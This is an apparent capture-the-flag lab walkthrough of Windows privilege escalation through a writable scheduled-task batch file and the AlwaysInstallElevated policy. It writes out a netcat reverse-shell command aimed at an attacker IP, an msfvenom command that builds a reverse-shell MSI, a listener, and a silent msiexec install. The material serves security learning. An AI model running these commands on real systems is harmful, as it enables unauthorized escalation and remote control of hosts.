Quick misconfiguration wins

Attack tree

1 Escalate through misconfigurations
    1.1 Scheduled tasks (OR)
    1.2 AlwaysInstallElevated


Scheduled tasks

  1. List scheduled tasks:

C:\> schtasks /query /tn vulntask /fo list /v
Folder: \
HostName:                             THM-PC1
TaskName:                             \vulntask
Task To Run:                          C:\tasks\schtask.bat
Run As User:                          taskusr1

The Task To Run is of interest. If the current user can modify or overwrite the executable, we can control what gets executed by the taskusr1 user, giving a simple privilege escalation.

  1. Check the file permissions on the executable:

C:\> icacls c:\tasks\schtask.bat
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)

In this case, the BUILTIN\Users group has full access (F) over the task’s binary. This means we can modify the .bat file and insert any payload.

Change the .bat file to spawn a reverse shell:

C:\> echo c:\tools\nc64.exe -e cmd.exe <IP address attack machine> 4444 > C:\tasks\schtask.bat

And start a listener on the attack machine:

nc -lvp 4444

The next time the scheduled task runs, you should receive the reverse shell with taskusr1 privileges. Depending on when the task is scheduled to run, this may take a looong time.


  1. Query the registry values:

C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Both should be set for this exploitation to work.

  1. Generate an evil .msi file using msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP address attack machine> LPORT=<port-number> -f msi -o evil.msi

Run the Metasploit Handler module configured accordingly.

  1. Transfer the file to C:\Windows\Temp on the target machine.

  2. Run the installer with the command below and receive the reverse shell:

C:\> msiexec /quiet /qn /i C:\Windows\Temp\evil.msi


These belong more to the realm of CTF events rather than real world scenarios.

  • Looking into scheduled tasks on the target system, you may see a scheduled task that either lost its binary or it’s using a binary you can modify.

  • Windows installer files (.msi files) are used to install applications on the system. They usually run with the privilege level of the user that starts it. And they can be configured to run with higher privileges from any user account (even unprivileged ones). This could potentially allow for generating a malicious .msi file that would run with admin privileges.